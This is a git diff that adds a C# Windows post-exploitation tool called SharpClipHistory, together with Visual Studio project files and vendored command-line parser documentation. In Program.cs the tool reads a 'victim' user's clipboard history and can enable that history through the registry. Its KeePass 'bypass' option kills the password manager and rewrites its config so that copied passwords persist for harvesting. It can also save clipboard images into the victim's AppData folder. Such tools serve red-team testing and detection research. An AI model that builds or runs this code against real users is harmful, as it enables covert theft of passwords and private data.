diff --git a/.gitattributes b/.gitattributes
new file mode 100644
index 0000000..1ff0c42
--- /dev/null
+++ b/.gitattributes
@@ -0,0 +1,63 @@
+###############################################################################
+# Set default behavior to automatically normalize line endings.
+###############################################################################
+* text=auto
+
+###############################################################################
+# Set default behavior for command prompt diff.
+#
+# This is need for earlier builds of msysgit that does not have it on by
+# default for csharp files.
+# Note: This is only used by command line
+###############################################################################
+#*.cs diff=csharp
+
+###############################################################################
+# Set the merge driver for project and solution files
+#
+# Merging from the command prompt will add diff markers to the files if there
+# are conflicts (Merging from VS is not affected by the settings below, in VS
+# the diff markers are never inserted). Diff markers may cause the following
+# file extensions to fail to load in VS. An alternative would be to treat
+# these files as binary and thus will always conflict and require user
+# intervention with every merge. To do so, just uncomment the entries below
+###############################################################################
+#*.sln merge=binary
+#*.csproj merge=binary
+#*.vbproj merge=binary
+#*.vcxproj merge=binary
+#*.vcproj merge=binary
+#*.dbproj merge=binary
+#*.fsproj merge=binary
+#*.lsproj merge=binary
+#*.wixproj merge=binary
+#*.modelproj merge=binary
+#*.sqlproj merge=binary
+#*.wwaproj merge=binary
+
+###############################################################################
+# behavior for image files
+#
+# image files are treated as binary by default.
+###############################################################################
+#*.jpg binary
+#*.png binary
+#*.gif binary
+
+###############################################################################
+# diff behavior for common document formats
+#
+# Convert binary document formats to text before diffing them. This feature
+# is only available from the command line. Turn it on by uncommenting the
+# entries below.
+###############################################################################
+#*.doc diff=astextplain
+#*.DOC diff=astextplain
+#*.docx diff=astextplain
+#*.DOCX diff=astextplain
+#*.dot diff=astextplain
+#*.DOT diff=astextplain
+#*.pdf diff=astextplain
+#*.PDF diff=astextplain
+#*.rtf diff=astextplain
+#*.RTF diff=astextplain
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..256d87f
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,261 @@
+## Ignore Visual Studio temporary files, build results, and
+## files generated by popular Visual Studio add-ons.
+
+# User-specific files
+*.suo
+*.user
+*.userosscache
+*.sln.docstates
+
+# User-specific files (MonoDevelop/Xamarin Studio)
+*.userprefs
+
+# Build results
+[Dd]ebug/
+[Dd]ebugPublic/
+[Rr]elease/
+[Rr]eleases/
+x64/
+x86/
+bld/
+[Bb]in/
+[Oo]bj/
+[Ll]og/
+
+# Visual Studio 2015 cache/options directory
+.vs/
+# Uncomment if you have tasks that create the project's static files in wwwroot
+#wwwroot/
+
+# MSTest test Results
+[Tt]est[Rr]esult*/
+[Bb]uild[Ll]og.*
+
+# NUNIT
+*.VisualState.xml
+TestResult.xml
+
+# Build Results of an ATL Project
+[Dd]ebugPS/
+[Rr]eleasePS/
+dlldata.c
+
+# DNX
+project.lock.json
+project.fragment.lock.json
+artifacts/
+
+*_i.c
+*_p.c
+*_i.h
+*.ilk
+*.meta
+*.obj
+*.pch
+*.pdb
+*.pgc
+*.pgd
+*.rsp
+*.sbr
+*.tlb
+*.tli
+*.tlh
+*.tmp
+*.tmp_proj
+*.log
+*.vspscc
+*.vssscc
+.builds
+*.pidb
+*.svclog
+*.scc
+
+# Chutzpah Test files
+_Chutzpah*
+
+# Visual C++ cache files
+ipch/
+*.aps
+*.ncb
+*.opendb
+*.opensdf
+*.sdf
+*.cachefile
+*.VC.db
+*.VC.VC.opendb
+
+# Visual Studio profiler
+*.psess
+*.vsp
+*.vspx
+*.sap
+
+# TFS 2012 Local Workspace
+$tf/
+
+# Guidance Automation Toolkit
+*.gpState
+
+# ReSharper is a .NET coding add-in
+_ReSharper*/
+*.[Rr]e[Ss]harper
+*.DotSettings.user
+
+# JustCode is a .NET coding add-in
+.JustCode
+
+# TeamCity is a build add-in
+_TeamCity*
+
+# DotCover is a Code Coverage Tool
+*.dotCover
+
+# NCrunch
+_NCrunch_*
+.*crunch*.local.xml
+nCrunchTemp_*
+
+# MightyMoose
+*.mm.*
+AutoTest.Net/
+
+# Web workbench (sass)
+.sass-cache/
+
+# Installshield output folder
+[Ee]xpress/
+
+# DocProject is a documentation generator add-in
+DocProject/buildhelp/
+DocProject/Help/*.HxT
+DocProject/Help/*.HxC
+DocProject/Help/*.hhc
+DocProject/Help/*.hhk
+DocProject/Help/*.hhp
+DocProject/Help/Html2
+DocProject/Help/html
+
+# Click-Once directory
+publish/
+
+# Publish Web Output
+*.[Pp]ublish.xml
+*.azurePubxml
+# TODO: Comment the next line if you want to checkin your web deploy settings
+# but database connection strings (with potential passwords) will be unencrypted
+#*.pubxml
+*.publishproj
+
+# Microsoft Azure Web App publish settings. Comment the next line if you want to
+# checkin your Azure Web App publish settings, but sensitive information contained
+# in these scripts will be unencrypted
+PublishScripts/
+
+# NuGet Packages
+#*.nupkg
+# The packages folder can be ignored because of Package Restore
+#**/packages/*
+# except build/, which is used as an MSBuild target.
+#!**/packages/build/
+# Uncomment if necessary however generally it will be regenerated when needed
+#!**/packages/repositories.config
+# NuGet v3's project.json files produces more ignoreable files
+#*.nuget.props
+#*.nuget.targets
+
+# Microsoft Azure Build Output
+csx/
+*.build.csdef
+
+# Microsoft Azure Emulator
+ecf/
+rcf/
+
+# Windows Store app package directories and files
+AppPackages/
+BundleArtifacts/
+Package.StoreAssociation.xml
+_pkginfo.txt
+
+# Visual Studio cache files
+# files ending in .cache can be ignored
+*.[Cc]ache
+# but keep track of directories ending in .cache
+!*.[Cc]ache/
+
+# Others
+ClientBin/
+~$*
+*~
+*.dbmdl
+*.dbproj.schemaview
+*.jfm
+*.pfx
+*.publishsettings
+node_modules/
+orleans.codegen.cs
+
+# Since there are multiple workflows, uncomment next line to ignore bower_components
+# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
+#bower_components/
+
+# RIA/Silverlight projects
+Generated_Code/
+
+# Backup & report files from converting an old project file
+# to a newer Visual Studio version. Backup files are not needed,
+# because we have git ;-)
+_UpgradeReport_Files/
+Backup*/
+UpgradeLog*.XML
+UpgradeLog*.htm
+
+# SQL Server files
+*.mdf
+*.ldf
+
+# Business Intelligence projects
+*.rdl.data
+*.bim.layout
+*.bim_*.settings
+
+# Microsoft Fakes
+FakesAssemblies/
+
+# GhostDoc plugin setting file
+*.GhostDoc.xml
+
+# Node.js Tools for Visual Studio
+.ntvs_analysis.dat
+
+# Visual Studio 6 build log
+*.plg
+
+# Visual Studio 6 workspace options file
+*.opt
+
+# Visual Studio LightSwitch build output
+**/*.HTMLClient/GeneratedArtifacts
+**/*.DesktopClient/GeneratedArtifacts
+**/*.DesktopClient/ModelManifest.xml
+**/*.Server/GeneratedArtifacts
+**/*.Server/ModelManifest.xml
+_Pvt_Extensions
+
+# Paket dependency manager
+.paket/paket.exe
+paket-files/
+
+# FAKE - F# Make
+.fake/
+
+# JetBrains Rider
+.idea/
+*.sln.iml
+
+# CodeRush
+.cr/
+
+# Python Tools for Visual Studio (PTVS)
+__pycache__/
+*.pyc
\ No newline at end of file
diff --git a/SharpClipHistory.sln b/SharpClipHistory.sln
new file mode 100644
index 0000000..86be105
--- /dev/null
+++ b/SharpClipHistory.sln
@@ -0,0 +1,25 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 15
+VisualStudioVersion = 15.0.28307.136
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpClipHistory", "SharpClipHistory\SharpClipHistory.csproj", "{1126D5B4-EFC7-4B33-A594-B963F107FE82}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Release|Any CPU = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {1126D5B4-EFC7-4B33-A594-B963F107FE82}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {1126D5B4-EFC7-4B33-A594-B963F107FE82}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {1126D5B4-EFC7-4B33-A594-B963F107FE82}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {1126D5B4-EFC7-4B33-A594-B963F107FE82}.Release|Any CPU.Build.0 = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {5B3CB5B2-DC8E-4FC4-9CCD-93EC9AF484F6}
+ EndGlobalSection
+EndGlobal
diff --git a/SharpClipHistory/App.config b/SharpClipHistory/App.config
new file mode 100644
index 0000000..8e15646
--- /dev/null
+++ b/SharpClipHistory/App.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/SharpClipHistory/FodyWeavers.xml b/SharpClipHistory/FodyWeavers.xml
new file mode 100644
index 0000000..a5dcf04
--- /dev/null
+++ b/SharpClipHistory/FodyWeavers.xml
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/SharpClipHistory/FodyWeavers.xsd b/SharpClipHistory/FodyWeavers.xsd
new file mode 100644
index 0000000..44a5374
--- /dev/null
+++ b/SharpClipHistory/FodyWeavers.xsd
@@ -0,0 +1,111 @@
+
+
+
+
+
+
+
+
+
+
+
+ A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks
+
+
+
+
+ A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.
+
+
+
+
+ A list of unmanaged 32 bit assembly names to include, delimited with line breaks.
+
+
+
+
+ A list of unmanaged 64 bit assembly names to include, delimited with line breaks.
+
+
+
+
+ The order of preloaded assemblies, delimited with line breaks.
+
+
+
+
+
+ This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.
+
+
+
+
+ Controls if .pdbs for reference assemblies are also embedded.
+
+
+
+
+ Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.
+
+
+
+
+ As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.
+
+
+
+
+ Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.
+
+
+
+
+ Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.
+
+
+
+
+ A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |
+
+
+
+
+ A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.
+
+
+
+
+ A list of unmanaged 32 bit assembly names to include, delimited with |.
+
+
+
+
+ A list of unmanaged 64 bit assembly names to include, delimited with |.
+
+
+
+
+ The order of preloaded assemblies, delimited with |.
+
+
+
+
+
+
+
+ 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.
+
+
+
+
+ A comma-separated list of error codes that can be safely ignored in assembly verification.
+
+
+
+
+ 'false' to turn off automatic generation of the XML Schema file.
+
+
+
+
+
\ No newline at end of file
diff --git a/SharpClipHistory/Program.cs b/SharpClipHistory/Program.cs
new file mode 100644
index 0000000..183887e
--- /dev/null
+++ b/SharpClipHistory/Program.cs
@@ -0,0 +1,239 @@
+using System;
+using System.Threading;
+using Microsoft.Win32;
+using System.Runtime.InteropServices.WindowsRuntime;
+using System.Linq;
+using CommandLine;
+using CommandLine.Text;
+using System.Diagnostics;
+using System.Xml.Linq;
+
+namespace SharpClipHistory
+{
+ class Program
+ {
+
+ public class Options
+ {
+ [Option("checkOnly", Required = false, HelpText = "Check if the Clipboard history feature is available and enabled on the target host.")]
+ public bool checkOnly { get; set; }
+
+ [Option("enableHistory", Required = false, HelpText = "Edit the registry to enable clipboard history for the victim user and get contents.")]
+ public bool enableHistory { get; set; }
+
+ [Option("saveImages", Required = false, HelpText = "Save any images in clipboard to a file in APPDATA.")]
+ public bool saveImages { get; set; }
+
+ [Option("keepassBypass", Required = false, HelpText = "Stops KeePass if it is running and modifies the config file. Next time KeePass is launched passwords will be saved in clipboard history.")]
+ public bool keepassBypass { get; set; }
+
+ [ParserState]
+ public IParserState LastParserState { get; set; }
+
+ [HelpOption]
+ public string GetUsage()
+ {
+ var text = @"SharpClipHistory v1.0
+Usage: SharpClipHistory.exe
+Options:
+ --checkOnly
+ Check if the Clipboard history feature is available and enabled on the target host.
+ --enableHistory
+ Edit the registry to enable clipboard history for the victim user and get contents.
+ --saveImages
+ Save any images in clipboard to a file in APPDATA.
+ --keepassBypass
+ Stops KeePass (if it is running) and modifies the config file. Next time KeePass is launched passwords will be saved in clipboard history.
+";
+
+ if (LastParserState?.Errors.Any() != true) return text;
+ var errors = new HelpText().RenderParsingErrorsText(this, 2);
+ text += errors;
+ return text;
+ }
+ }
+
+ public static void KeepassBypass()
+ {
+ try
+ {
+ foreach (Process proc in Process.GetProcessesByName("keepass"))
+ {
+ Console.WriteLine("[+] Killing KeePass process!");
+ proc.Kill();
+ }
+ }
+ catch
+ {
+ Console.WriteLine("[+] KeePass was not running...");
+ }
+ Console.WriteLine("[+] Modifying KeePass Configuration file...");
+ try
+ {
+ string configPath = Environment.GetEnvironmentVariable("USERPROFILE") + "\\AppData\\Roaming\\KeePass\\KeePass.config.xml";
+ XDocument doc = XDocument.Load(configPath);
+ XElement sec = doc.Element("Configuration").Element("Security");
+ sec.Add(new XElement("ClipboardNoPersist", "false"));
+ doc.Save(configPath);
+ Console.WriteLine("[+] KeePass configuration file modified successfully!");
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine(e);
+ }
+ System.Environment.Exit(0);
+ }
+
+ public static void Main(string[] args)
+ {
+ bool checkOnly = false;
+ bool enableHistory = false;
+ bool saveImages = false;
+ bool keepass = false;
+
+ var opts = new Options();
+
+ if (args.Length > 1)
+ {
+ Console.WriteLine("\n[!] Only one option can be specified at a time.\n");
+ Console.WriteLine(opts.GetUsage());
+ System.Environment.Exit(0);
+ }
+
+ if (!Parser.Default.ParseArguments(args, opts))
+ {
+ return;
+ }
+
+ if (opts.checkOnly)
+ {
+ checkOnly = opts.checkOnly;
+ }
+
+ if (opts.enableHistory)
+ {
+ enableHistory = opts.enableHistory;
+ }
+
+ if (opts.saveImages)
+ {
+ saveImages = opts.saveImages;
+ }
+
+ if (opts.keepassBypass)
+ {
+ keepass = opts.keepassBypass;
+ }
+
+ // Check if Clipboard history is available
+ string keyName = @"HKEY_CURRENT_USER\Software\Microsoft\Clipboard";
+ string keyValue = "EnableClipboardHistory";
+ var regVal = Registry.GetValue(keyName, keyValue, null);
+ if (regVal.Equals(null))
+ {
+ Console.WriteLine("\n[!] Clipboard history feature is not available on target.\n[!] Exiting...\n");
+ System.Environment.Exit(0);
+ }
+ else if (regVal.Equals(0))
+ {
+ if (enableHistory)
+ {
+ //Enable Clipboard History in HKCU
+ Console.WriteLine("[+] Turning on clipboard history feature...");
+ try
+ {
+ RegistryKey rk = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Clipboard", true);
+ rk.SetValue("EnableClipboardHistory", "1", RegistryValueKind.DWord);
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine(ex);
+ }
+
+ }
+ else
+ {
+ Console.WriteLine("\n[-] Clipboard history feature is available on the target but must be enabled.\n[-] Use --enableHistory to enable the feature.\n[!] Exiting...\n");
+ System.Environment.Exit(0);
+ }
+ }
+ else if (regVal.Equals(1))
+ {
+ Console.WriteLine("\n[+] Clipboard history feature is enabled!");
+ }
+
+ if (keepass)
+ {
+ KeepassBypass();
+ }
+
+ if (checkOnly)
+ {
+ System.Environment.Exit(0);
+ }
+
+ Clipboard clip = new Clipboard();
+ Console.WriteLine("[+] Clipboard history Contents:\n");
+ try
+ {
+ clip.GetText(saveImages);
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine(e);
+ }
+ }
+ }
+
+ public class Clipboard
+ {
+ public void GetText(bool saveImages)
+ {
+ string ReturnValue = string.Empty;
+ Thread STAThread = new Thread(
+ delegate ()
+ {
+ String clip_contents = "";
+ var HistoryContents = Windows.ApplicationModel.DataTransfer.Clipboard.GetHistoryItemsAsync();
+ var HistoryList = HistoryContents.GetAwaiter().GetResult().Items;
+
+ for (var i = 0; i < HistoryList.Count; i++)
+ {
+ var timestamp = HistoryList[i].Timestamp.DateTime;
+ if (HistoryList[i].Content.AvailableFormats.Contains("Text"))
+ {
+ var contents = HistoryList[i].Content.GetTextAsync();
+ clip_contents += "[+] " + timestamp + ": " + contents.GetAwaiter().GetResult() + "\n";
+ }
+ else if (HistoryList[i].Content.AvailableFormats.Contains("Bitmap"))
+ {
+ if (saveImages)
+ {
+ var contents = HistoryList[i].Content.GetBitmapAsync().GetAwaiter().GetResult();
+ var bitmapStream = contents.OpenReadAsync().GetAwaiter().GetResult();
+ byte[] buffer = new byte[bitmapStream.Size];
+ bitmapStream.ReadAsync(buffer.AsBuffer(), (uint)bitmapStream.Size, Windows.Storage.Streams.InputStreamOptions.None).GetAwaiter().GetResult();
+ string path = String.Format("{0}\\AppData\\Local\\Packages\\{1}.bmp", Environment.GetEnvironmentVariable("USERPROFILE"), timestamp.ToFileTime());
+ System.IO.File.WriteAllBytes(path, buffer);
+ clip_contents += String.Format("[+] SharpClipHistory - Image found and saved in {0}.\n", path);
+ }
+ else
+ {
+ clip_contents += "[!] SharpClipHistory - Image found. Re-run with --saveImages to save the image in the victim's APPDATA folder.\n";
+ }
+ }
+ else
+ {
+ clip_contents += "[!] Unrecognised clipboard contents format.\n";
+ }
+ }
+ Console.WriteLine(clip_contents);
+ });
+
+ STAThread.SetApartmentState(ApartmentState.STA);
+ STAThread.Start();
+ STAThread.Join();
+ }
+ }
+
+}
\ No newline at end of file
diff --git a/SharpClipHistory/Properties/AssemblyInfo.cs b/SharpClipHistory/Properties/AssemblyInfo.cs
new file mode 100644
index 0000000..8f1cf8f
--- /dev/null
+++ b/SharpClipHistory/Properties/AssemblyInfo.cs
@@ -0,0 +1,36 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("SharpClipHistory")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("SharpClipHistory")]
+[assembly: AssemblyCopyright("Copyright © 2019")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible
+// to COM components. If you need to access a type in this assembly from
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("1126d5b4-efc7-4b33-a594-b963f107fe82")]
+
+// Version information for an assembly consists of the following four values:
+//
+// Major Version
+// Minor Version
+// Build Number
+// Revision
+//
+// You can specify all the values or you can default the Build and Revision Numbers
+// by using the '*' as shown below:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
diff --git a/SharpClipHistory/SharpClipHistory.csproj b/SharpClipHistory/SharpClipHistory.csproj
new file mode 100644
index 0000000..c45b42b
--- /dev/null
+++ b/SharpClipHistory/SharpClipHistory.csproj
@@ -0,0 +1,83 @@
+
+
+
+
+
+ Debug
+ AnyCPU
+ {1126D5B4-EFC7-4B33-A594-B963F107FE82}
+ Exe
+ SharpClipHistory
+ SharpClipHistory
+ v4.5
+ 512
+ true
+
+
+
+
+ AnyCPU
+ true
+ full
+ false
+ bin\Debug\
+ DEBUG;TRACE
+ prompt
+ 4
+
+
+ AnyCPU
+ pdbonly
+ true
+ bin\Release\
+ TRACE
+ prompt
+ 4
+
+
+
+ ..\packages\CommandLineParser.1.9.71\lib\net45\CommandLine.dll
+
+
+ ..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll
+
+
+
+
+
+
+
+
+
+
+ False
+ ..\..\..\..\..\..\..\Program Files (x86)\Windows Kits\10\References\10.0.17763.0\Windows.Foundation.FoundationContract\3.0.0.0\Windows.Foundation.FoundationContract.winmd
+
+
+ False
+ ..\..\..\..\..\..\..\Program Files (x86)\Windows Kits\10\References\10.0.17763.0\Windows.Foundation.UniversalApiContract\7.0.0.0\Windows.Foundation.UniversalApiContract.winmd
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/SharpClipHistory/SharpClipHistory.sln b/SharpClipHistory/SharpClipHistory.sln
new file mode 100644
index 0000000..86be105
--- /dev/null
+++ b/SharpClipHistory/SharpClipHistory.sln
@@ -0,0 +1,25 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 15
+VisualStudioVersion = 15.0.28307.136
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpClipHistory", "SharpClipHistory\SharpClipHistory.csproj", "{1126D5B4-EFC7-4B33-A594-B963F107FE82}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Release|Any CPU = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {1126D5B4-EFC7-4B33-A594-B963F107FE82}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {1126D5B4-EFC7-4B33-A594-B963F107FE82}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {1126D5B4-EFC7-4B33-A594-B963F107FE82}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {1126D5B4-EFC7-4B33-A594-B963F107FE82}.Release|Any CPU.Build.0 = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {5B3CB5B2-DC8E-4FC4-9CCD-93EC9AF484F6}
+ EndGlobalSection
+EndGlobal
diff --git a/SharpClipHistory/packages.config b/SharpClipHistory/packages.config
new file mode 100644
index 0000000..5402a0e
--- /dev/null
+++ b/SharpClipHistory/packages.config
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/packages/CommandLineParser.1.9.71/.signature.p7s b/packages/CommandLineParser.1.9.71/.signature.p7s
new file mode 100644
index 0000000..dfc5298
Binary files /dev/null and b/packages/CommandLineParser.1.9.71/.signature.p7s differ
diff --git a/packages/CommandLineParser.1.9.71/CommandLineParser.1.9.71.nupkg b/packages/CommandLineParser.1.9.71/CommandLineParser.1.9.71.nupkg
new file mode 100644
index 0000000..8895036
Binary files /dev/null and b/packages/CommandLineParser.1.9.71/CommandLineParser.1.9.71.nupkg differ
diff --git a/packages/CommandLineParser.1.9.71/lib/net35/CommandLine.dll b/packages/CommandLineParser.1.9.71/lib/net35/CommandLine.dll
new file mode 100644
index 0000000..e288c46
Binary files /dev/null and b/packages/CommandLineParser.1.9.71/lib/net35/CommandLine.dll differ
diff --git a/packages/CommandLineParser.1.9.71/lib/net35/CommandLine.xml b/packages/CommandLineParser.1.9.71/lib/net35/CommandLine.xml
new file mode 100644
index 0000000..4620bee
--- /dev/null
+++ b/packages/CommandLineParser.1.9.71/lib/net35/CommandLine.xml
@@ -0,0 +1,1390 @@
+
+
+
+ CommandLine
+
+
+
+
+ Provides base properties for creating an attribute, used to define rules for command line parsing.
+
+
+
+
+ Initializes a new instance of the class.
+
+
+
+
+ Initializes a new instance of the class.
+ Validating and .
+
+ Short name of the option.
+ Long name of the option.
+
+
+
+ Initializes a new instance of the class. Validating
+ and . This constructor accepts a as short name.
+
+ Short name of the option.
+ Long name of the option.
+
+
+
+ Gets a short name of this command line option. You can use only one character.
+
+
+
+
+ Gets long name of this command line option. This name is usually a single english word.
+
+
+
+
+ Gets or sets the option's mutually exclusive set.
+
+
+
+
+ Gets or sets a value indicating whether a command line option is required.
+
+
+
+
+ Gets or sets mapped property default value.
+
+
+
+
+ Gets or sets mapped property meta value.
+
+
+
+
+ Gets or sets a short description of this command line option. Usually a sentence summary.
+
+
+
+
+ Models an option specification.
+
+
+
+
+ Initializes a new instance of the class.
+ The default long name will be inferred from target property.
+
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option..
+
+
+
+ Initializes a new instance of the class.
+
+ The long name of the option.
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option.
+ The long name of the option or null if not used.
+
+
+
+ Helper factory method for testing purpose.
+
+ An instance.
+
+
+
+ Models an option that can accept multiple values as separated arguments.
+
+
+
+
+ Initializes a new instance of the class.
+ The default long name will be inferred from target property.
+
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option.
+
+
+
+ Initializes a new instance of the class.
+
+ The long name of the option.
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option.
+ The long name of the option or null if not used.
+
+
+
+ Indicates the instance method that must be invoked when it becomes necessary show your help screen.
+ The method signature is an instance method with no parameters and
+ return value.
+
+
+
+
+ Initializes a new instance of the class.
+ Although it is possible, it is strongly discouraged redefine the long name for this option
+ not to disorient your users. It is also recommended not to define a short one.
+
+
+
+
+ Initializes a new instance of the class
+ with the specified short name. Use parameter less constructor instead.
+
+ The short name of the option.
+
+ It's highly not recommended change the way users invoke help. It may create confusion.
+
+
+
+
+ Initializes a new instance of the class
+ with the specified long name. Use parameter less constructor instead.
+
+ The long name of the option or null if not used.
+
+ It's highly not recommended change the way users invoke help. It may create confusion.
+
+
+
+
+ Initializes a new instance of the class.
+ Allows you to define short and long option names.
+
+ The short name of the option.
+ The long name of the option or null if not used.
+
+ It's highly not recommended change the way users invoke help. It may create confusion.
+
+
+
+
+ Returns always false for this kind of option.
+ This behaviour can't be changed by design; if you try set
+ an will be thrown.
+
+
+
+
+ Models an option that can accept multiple values.
+ Must be applied to a field compatible with an interface
+ of instances.
+
+
+
+
+ Initializes a new instance of the class.
+ The default long name will be inferred from target property.
+
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option.
+
+
+
+ Initializes a new instance of the class.
+
+ The long name of the option or null if not used.
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option.
+ The long name of the option or null if not used.
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option or null if not used.
+ The long name of the option or null if not used.
+ Values separator character.
+
+
+
+ Gets or sets the values separator character.
+
+
+
+
+ Indicates that the property can receive an instance of type .
+
+
+
+
+ Models a list of command line arguments that are not options.
+ Must be applied to a field compatible with an interface
+ of instances.
+
+ To map individual values use instead .
+
+
+
+ Initializes a new instance of the class.
+
+ A type that implements .
+ Thrown if is null.
+
+
+
+ Gets or sets the maximum element allow for the list managed by type.
+ If lesser than 0, no upper bound is fixed.
+ If equal to 0, no elements are allowed.
+
+
+
+
+ Gets the concrete type specified during initialization.
+
+
+
+
+ Maps a single unnamed option to the target property. Values will be mapped in order of Index.
+ This attribute takes precedence over with which
+ can coexist.
+
+ It can handle only scalar values. Do not apply to arrays or lists.
+
+
+
+ Initializes a new instance of the class.
+
+ The _index of the option.
+
+
+
+ Gets the position this option has on the command line.
+
+
+
+
+ Utility extension methods for System.Char.
+
+
+
+
+ Encapsulates property writing primitives.
+
+
+
+
+ Utility extension methods for System.String.
+
+
+
+
+ Gets or sets the assembly from which to pull information. Setter provided for testing purpose.
+
+
+
+
+ Utility extension methods for query target capabilities.
+
+
+
+
+ Maps unnamed options to property using and .
+
+
+
+
+ Helper method for testing purpose.
+
+ An argument enumerator instance.
+ The next input value.
+
+
+
+ Initializes a new instance of the class. Used for unit testing purpose.
+
+ Option short name.
+ Option long name.
+
+
+
+ Initializes a new instance of the class.
+ It is internal rather than private for unit testing purpose.
+
+ Initial internal capacity.
+ Parser settings instance.
+
+
+
+ Provides means to format an help screen.
+ You can assign it in place of a instance.
+
+
+
+
+ Initializes a new instance of the class.
+
+
+
+
+ Initializes a new instance of the class
+ specifying the sentence builder.
+
+
+ A instance.
+
+
+
+
+ Initializes a new instance of the class
+ specifying heading string.
+
+ An heading string or an instance of .
+ Thrown when parameter is null or empty string.
+
+
+
+ Initializes a new instance of the class
+ specifying the sentence builder and heading string.
+
+ A instance.
+ A string with heading or an instance of .
+
+
+
+ Initializes a new instance of the class
+ specifying heading and copyright strings.
+
+ A string with heading or an instance of .
+ A string with copyright or an instance of .
+ Thrown when one or more parameters are null or empty strings.
+
+
+
+ Initializes a new instance of the class
+ specifying heading and copyright strings.
+
+ A instance.
+ A string with heading or an instance of .
+ A string with copyright or an instance of .
+ Thrown when one or more parameters are null or empty strings.
+
+
+
+ Initializes a new instance of the class
+ specifying heading and copyright strings.
+
+ A string with heading or an instance of .
+ A string with copyright or an instance of .
+ The instance that collected command line arguments parsed with class.
+ Thrown when one or more parameters are null or empty strings.
+
+
+
+ Initializes a new instance of the class
+ specifying heading and copyright strings.
+
+ A instance.
+ A string with heading or an instance of .
+ A string with copyright or an instance of .
+ The instance that collected command line arguments parsed with class.
+ Thrown when one or more parameters are null or empty strings.
+
+
+
+ Creates a new instance of the class using common defaults.
+
+
+ An instance of class.
+
+ The instance that collected command line arguments parsed with class.
+
+
+
+ Creates a new instance of the class using common defaults.
+
+
+ An instance of class.
+
+ The instance that collected command line arguments parsed with class.
+ A delegate used to customize the text block for reporting parsing errors.
+ If true the output style is consistent with verb commands (no dashes), otherwise it outputs options.
+
+
+
+ Creates a new instance of the class using common defaults,
+ for verb commands scenario.
+
+
+ An instance of class.
+
+ The instance that collected command line arguments parsed with class.
+ The verb command invoked.
+
+
+
+ Supplies a default parsing error handler implementation.
+
+ The instance that collects parsed arguments parsed and associates
+ to a property of type .
+ The instance.
+
+
+
